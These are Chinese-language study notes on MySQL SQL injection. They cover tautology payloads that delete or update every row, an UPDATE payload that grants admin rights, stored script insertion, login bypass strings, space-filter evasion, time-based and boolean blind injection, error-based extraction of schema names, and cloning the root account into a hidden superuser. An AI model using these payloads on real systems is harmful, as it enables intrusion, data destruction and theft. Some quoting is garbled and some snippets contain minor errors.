Mysql注入基础
INSERT逻辑
4种(values, set, select, 空)
insert into users(uid,username,password) values(10015,‘peiqi’,‘123456’)
insert into users values(10016,‘peiqi’,‘123456’)
insert into users(uid,uname) select 10017,‘peiqi’
insert into users set uid=10018,uname=‘peiqi’
INSERT报错逻辑
INSERT INTO users VALUES(‘1’,‘hxf’,‘hxf123’,‘hxftest’)
对于明知道字段的类型而故意写成其他类型,若后台对于错误信息处理不当,就有可能泄露信息。
show warnings; 查看报错
INSERT留后门逻辑
insert into users(uid,uname,blog) select 10021,‘michae121’,’<script>alert()</script>
’,‘hxf132’
1、攻击者可能会注入病毒脚本,当打开网页时,如果处理程序没有屏蔽浏览器对脚本的解析,那么就会跳出很多广告窗口。
2、攻击者可以注入数据库连接和通信的脚本,以便在适当的时候,select into outfile到web可访问的目录下,目标是通过http连接就可以直接访问数据库。
DELETE注入逻辑
create table users2 as select * from users;
创建表users2,并将表users拷贝进去
DELETE FROM users2 where uname='peiqi';
删除指定数据
DELETE FROM users2;
删除users2表中所有内容。
DELETE关联删除
delete a,b from emp a, dept b where a.dept_no=b.dept_no and a.dept_no='d006';
//其中a,b分别为emp和dept的别名。删除emp表和dept表中dept_no字段都为d006的行。
注入删除
DELETE FROM users where uname=‘hxf’
DELETE FROM users where uname=’' or '1'='1
’ //后果很严重,直接删除users表中所有数据
UPDATE语句逻辑
update users2 set gold=10000 where uid=10011;
update users2 set gold=10000; 不输入条件则更新所有的值
UPDATE注入全集的更新逻辑
payload:'or '1'='1
update users2 set gold=20000 where uname=’' or '1'='1
’ 全集更新
UPDATE提权
payload:', isadmin='1
update users2 set email=’',isadmin='1
’ where uname=‘hxf’
SELECT基础
select username,password,uid from users where uid=10022 or uid=10003
order by排序
select * from users order by uname; //按照uname字段内容a-z正向排序
select * from users order by uname desc; //倒向排序
order by 1; //按照第一个字段正向排序
order by 2 desc; //按照第二个字段倒向排序
limit限制
limit 10 取前十行
limit 0,1 从第0个开始取一个
in语句
select * from users where uid in(select uid from users2)
括号里的查询语句结果作为uid的值
exists 判断存在,返回真假
select * from users where exists(select uid from users2)
//若空号中有返回值,则exists返回真,则返回users表中的所有信息
select * from users a where exists(select uid from users2 b where a.uid=b.uid);
//实现in的功效,返回users表中a.uid=b.uid的数据,这就是关联查询
inner join内连接查询
select a.uname,b.mobile from game_user a inner join game_user_ext b on a.uid=b.uid;
//inner join时内连接,相当于将game_user表和game_user_ext表连接起来,连接的条件时a.uid=b.uid
left join左连接
select a.uname,b.mobile from game_user a left join game_user b on a.uid=b.uid;
//左连接会返回左表中的所有值,和右表中a.uid=b.uid的值
//right join右连接逻辑刚好相反
SELECT注入逻辑
-
注入字符的报错
’ 为了测试数据库对单引号的处理是怎样的,有没有处理好报错信息。
-
猜测处理的字段数
order by 二分法
若网页报错或处理不正常,说明可以注入
-
空集逻辑
uname=’’ or ‘0’=‘9’ //查询uname为空,或0=9,显然返回为空
//网页不报错,但显示页面没有内容。
-
全集逻辑
uname=’’ or ‘1’=‘1’ //恒为真,可能遍历数据库内容
-
union 先去重再合并
select * from users union select * from users2;
//查询users表和users2表中的所有值,并去重后返回
-
可以自己构造
select uid,uname from users union select 1,‘balabala’;
返回查询结果和1,‘balabala’
-
-
union all 简单合并
select * from users union all select * from users2;
//查询users表和users2表中的所有值,不去重返回
-
报错逻辑
union两端字段数不一致时报错
select * from users union select ‘1,2,3…’ 一一测试
-
替换逻辑(第三者上位)
uid=“10003 and 1=2 union select 1,2,3,4,5,6,7,8”
//根据回显数字,做下一步判断
DCL语言与提权逻辑
DCL(数据控制语言)重要是管理员管理权限使用的。
-
查询mysql用户
select host,user,password from mysql.user;
-
创建用户
create user ‘xqw’@‘localhost’ identified by ‘abc’;
-
删除用户
drop user ‘xqw’@‘localhost’;
-
授权管理员
grant all privileges on *.* to admin@'%' identified by 'abc';
*.*代表任意数据库下的任意表或对象
@代表登录
%代表从任何地方登录
identified by ‘abc’ 设置密码为abc
-
授权指定范围权限的用户
grant select,insert on *.* to admin2@'%' identified 'abc'
授权一个在任意数据库下的任意表或对象中仅有select和insert权限的用户admin2
可以在任意地方登录
-
提权admin2
grant select,insert on *.* to admin2@'%' identified 'abc'
-
flush privileges; 刷新权限
-
登录数据库
mysql -h 192.168.1.120 -uadmin -pabc
数值类型与注入逻辑
-
数值类型分类
整数类型:tinyint, smallint, mediumint, int, bigint
浮点数类型:float, double, decimal
-
数值越界报错与注入应用
故意输入越界的数值,使报错曝出字段名。
-
类型转换报错
例如:给原本是整型的字段故意传入字符型值,使报错爆出字段名。
-
全集与空集逻辑
全集:
or 1=1
or–+1=–!!2 //–+负负正则为正,–为正!!非非为正
//所以–+1为,–!!2为1
//用–+!!替代空格,规避后端对空格的检查
//注意:or与–之间没有空格
uname=’’=’’ //恒为真,注意是单引号
空集逻辑:
or 1=2
and 1=2
and !–+2=–!!2 //!–+2为0,–!!2为1
时间日期注入逻辑
-
时间日期类型
包括date, datetime, timestamp, time, year
//datetime日期时间型
//timestamp时间戳
create table testd(reg date, reg2 time,reg3 datetime,reg4 timestamp default current_timestamp on update current_timestamp, reg5 year);
//datetime保存8个字节
//timestamp保存4个字节
//year只保存年份
//date只保存日期
//time只保存时间
insert into testd values(now(),now(),now(),now(),now());
-
注入逻辑
-
数值越界报错
故意输入一个大整数,导致报错而获取字段名
-
数值类型转换报错
例如:本来是时间型,故意输入一个字符型引发报错,使得爆出字段名。
-
字符类型与注入逻辑
-
字符类型
char, varchar, binary, varbinary, blob, text, enum, set
//char固定长度的明文字符串
//varchar可变长度的明文字符串
//binary固定长度的二进制字符串
//varbinary可变长度的二进制字符串
//blob大量二进制字符串
//text大量明文字符串
//enum枚举类型
//set集合类型
create table testc(un char(3), un2 varchar(3), un3 binary(3), un4 varbinary(3));
insert into testc values(‘xqw’,‘xqw’,‘xqw’,‘xqw’)
-
注入逻辑
-
字符类型越界报错
输入一个超长字符串,引发报错,从而从报错的信息中获取字段名,进而推测字段名含义和表的功能。
-
类型转换错误
select * from users where !!user_id=‘admin’;
//将uname转换为整数,造成报错
-
Text和blob类型留后门
-
enum枚举类型和set集合类型
enum枚举类型 能且仅能选择一个
set集合类型 可选一个或多个
create table testd(uname1 enum(‘a’,‘b’,‘c’),uname2 set(‘a’,‘b’,‘c’));
insert into testd values(‘a’,‘a,b’)
select * from testd where find_in_set(‘a’,uname2) //查找uname2字段中含有a的记录
-
find_in_set()注入逻辑
select * from users where uname=‘admin’ and find_in_set(left(user(),1),‘s,t,u,r’)=1
//猜解用户名第一个字符是否为s, 若回显正常则为s,若不正常则不是s,需进一步测试
-
关系运算符与注入逻辑
select * from users where uid>=1007 and uid<=1009; //返回1007到1009的记录
select * from users where uid between 1004 and 1007; //返回1004到1007的记录
select * from users where uid in(1002,1003,1009); //返回指定三条记录 //相反 not in
select * from users where isadmin is null; //查找isadmin等于null值的记录 //相反is not null 判断是否为非空
模糊查询:
select * from users where uname like ‘a%’; //查找以a开头的记录 //%为通配符
select * from users where uname like ‘%a%’; //查找uname中有a的记录
-
盲注应用(划定范围)
and length(user())>10 and length(user())<20
根据网页回显正常与否,划定范围,最终确定具体值,也可用于猜解数据库名等
注入传参:uname=admin’ and uname>‘a’ and uname<'d
结果:select * from users where name=‘admin’ and uname>‘a’ and uname<‘d’;
逻辑运算符与注入逻辑
select * from users where uid=10003 and uname=‘admin’;
&&
1 and 1 //为真
1 and 0 //为假
select * from users where uid=10003 or uname=‘saniya’; //满足任意一个条件即返回
||
1 or 1 //为真
1 or 0 //为真
0 or 0 //为假
1为真 !1为假
异或 xor
1 xor 1 //为0
1 xor 0 //为1
-
复杂逻辑与注入逻辑关系
不变逻辑:
select * from users where uid=10003 and uname=‘admin’ and 1=1;
select * from users where uid=10002 and uname=‘admin’ or 1=2;
select * from users where uname=‘admin’&&!!!1;
空集逻辑:
select * from users where uid=10002 and uname=‘admin’ and 1=2;
select * from users where uid=10002 and uname=‘admin’ and 0=true;
select * from users where uname=‘admin’&&!1;
全集逻辑:
select * from users where uid=10003 and uname=‘admin’ or 1=1;
select * from users where uname=‘admin’ or !!1;
select * from users where uname=‘admin’ or !!1=~~1; //~为按位取反(将补码按位取反),~~则还原本身
-
全集逻辑绕过密码验证
正常逻辑:select * from users where uname=‘admin’ and password=‘123456’;
绕过:select * from users uname=’’ or ‘1’=‘1’ – and password=’$password’; //username字段注释绕过
select * from users where uname=‘admin’ and password=’’=’’; //password字段绕过
select * from users where uname=‘admin’ and ‘0’=‘0’; //username字段绕过
字典元数据与注入应用
-
创建一个超级管理员
//第一步创建一个普通用户
insert into user(host,user,password) values(’%’,‘admin3’,password(‘abc’));
//先拷贝一条超级管理员账户数据到一张临时表中
create table tmp select * from mysql.user where user=‘root’ limit 1;
//更新表中的host,user,password字段
update tmp set host=’%’,user=‘admin4’,password=password(‘abc’);
//将记录插入到user表中
insert into mysql.user select * from tmp;
flush privileges; //刷新权限
-
mysql数据库
user表 //保存了主机,用户名,密码等重要信息。
db表 //保存了对数据库级别的权限信息。
columns_priv表 //保存了字段的详细权限分配信息、
-
字典应用
-
获取当前实例所有数据库名
select distinct table_schema from information_schema.tables;
select schema_name from information_schema.schemata;
-
information_schema数据库
schemata表:保存了数据库相关的定义信息
tables表:保存了表定义属性的所有元数据信息
columns表:保存了所有数据库下的所有字段的信息
routines:存储过程或者函数信息
views:试图信息
triggers:触发器信息
-
获取表名和字段名
select database(); //查看当前数据库名
select table_name from information_schema.tables where table_schema=database(); //获取当前数据库的所有表
select column_name from information_schema.columns where table_schema=database() and table_name=‘users’; //获取当前数据库下users表中所有字段名
-
探子回报与密码猜测相关函数
user()
current_user()
session_user() //用户名
version() //数据库版本号
database() //数据库名
length() //返回长度
length(database())>2 //猜解长度
left(database(),1)>‘h’ //左边第一个字符
substring(database(),1,1)>‘h’ //逐一猜解数据库字符
position(’@’ in user()) //返回@在用户名中的位置
locate(’@’,user()) //功能同上
-
探子回报
user(),version()
探子:测试程序是否同时对函数、子查询、括号等是否过滤。
两个都是SQL99标准中的通用的函数,不同的数据库返回值各有特征,进而推断是什么数据库类型。
如user()函数的返回情况:
mysql返回root@localhost
oracle返回sys
sqlserver返回sa
若成功执行,即探子回报。说明程序对函数,括号()和子查询并未作过滤,可能可以执行函数、子查询等复杂逻辑。
探子没有回报,基本上说明注入攻击困难或者注入可能性很小。
时间窃取相关函数
select sleep(5) //休眠函数,以秒为单位
select benchmark(100000,md5(‘qianxun’)) //压力测试
//计算100000次字符串’qianxun’的md5值,根据执行时间判断mysql数据库的性能
select if(5>2,‘a’,‘b’) //第一个参数为真,则返回第二个参数值,否则返回第三个参数
-
盲注应用
select * from users where uname=‘admin’ and if(left(version(),1)>3,sleep(5),1)
//如果数据库版本号第一个数字大于3则休眠5秒,否则返回1
//通过页面返回的时间,判断猜解结果
select * from users where uname=‘admin’ and if(ascii(substr(user(),1,1)>97),sleep(),1)
//对于字符串的猜解要先转换为ascii码
select * from user where if(left(version(),1)=5,sleep(1),1);
//若版本号第一个数字等于5,则返回1*5秒 乘数取决于表中数据的条数
select * from users where uname=‘admin’ and if(substr(uname,1,1)=‘b’, benchmark(1000000,md5(‘suibianxie’)), 1)
//使用benchmark()函数穷举,道理与sleep()一样
自报家底函数
自报家底:没有错误也要制造错误,并把查询的信息让错误带出来告诉注入者到底有什么东西,把所有家底能透露的都透露出来。
select * from users where if(uid>10005,1,0) //返回uid>10005的数据
select rand() //返回0~1之间的小数
select rand()*2 //返回0~2之间的小数
select round(rand()*2) //返回rand()*2四舍五入取整后的值
select floor(rand()*2) //返回rand()*2地板取整后的值
select concat(‘abc’,‘def’) //将abc与def拼接起来
select concat(user_id,first_name) from users2 //将字段user_id和first_name的返回值拼接起来
select user_id,group_concat(first_name) from users2;
//返回user_id字段的第一个值,将first_name字段的所有值全部显示出来(用,隔开)
//group_concat()中有多个参数时,会先将多个参数的值拼接起来,然后把每次遍历的结果都显示出来(用,隔开)
//concat()会把多个参数值拼接起来,然后每次遍历的结果逐次显示
select user_id,first_name from users2 group by user_id; //group by谁 谁就只出现一次
select user_id,group_concat(first_name) from users2 group by user_id;
//将另一个字段使用group_concat(),就会把user_id相同的first_name的值拼接在一起(用,隔开)
-
主键冲突报错
select count(*),concat(user(),floor(rand()*2)) as a from users group by a;
//group by a是对concat(user(),floor(rand()*2))的结果进行分组,也就是说concat(user(),floor(rand()*2))的每一种结果只能出现一次,换句话说该结果是一个主键
//而concat(user(),floor(rand()*2))的结果只有两种,root@localhost1和root@localhost0
//因为有随机函数rand()的存在,在执行时rand()会被计算一次,若临时表中没有该值,那么就会插入到临时表中,插入时又会被计算一次(group by会重新计算一次a),当临时表中分组完毕后,也就是主键设置完毕后,后面插入的值与主键冲突从而产生报错。
//随机数因子越大,产生的可能性就越多,产生主键冲突的概率就越小,所以为了尽可能大的概率使主键冲突产生报错,随机数因子就要最小,最小为2(两种随机的结果0,1),所以选rand()*2。
-
暴露系统敏感信息
select count(*),concat(version(),floor(rand()*2),user()) as a from users group by a;
//报错显示出数据库版本、用户
-
暴露数据库名
select count(*),concat((select (select (select schema_name from information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1), floor(rand(0)*2)) x_col from information_schema.tables group by x_col
//爆出第一个数据库名,可通过改limit参数来获得后面的数据库名
-
暴露所有表名
select count(*),concat((select (select (select table_name from information_schema.tables where table_schema=database() limit 0,1)) as a from information_schema.tables limit 0,1), floor(rand(0)*2)) b from information_schema.tables group by b
//爆出第一个表名,可通过更改limit参数来获得后面的数据库名
-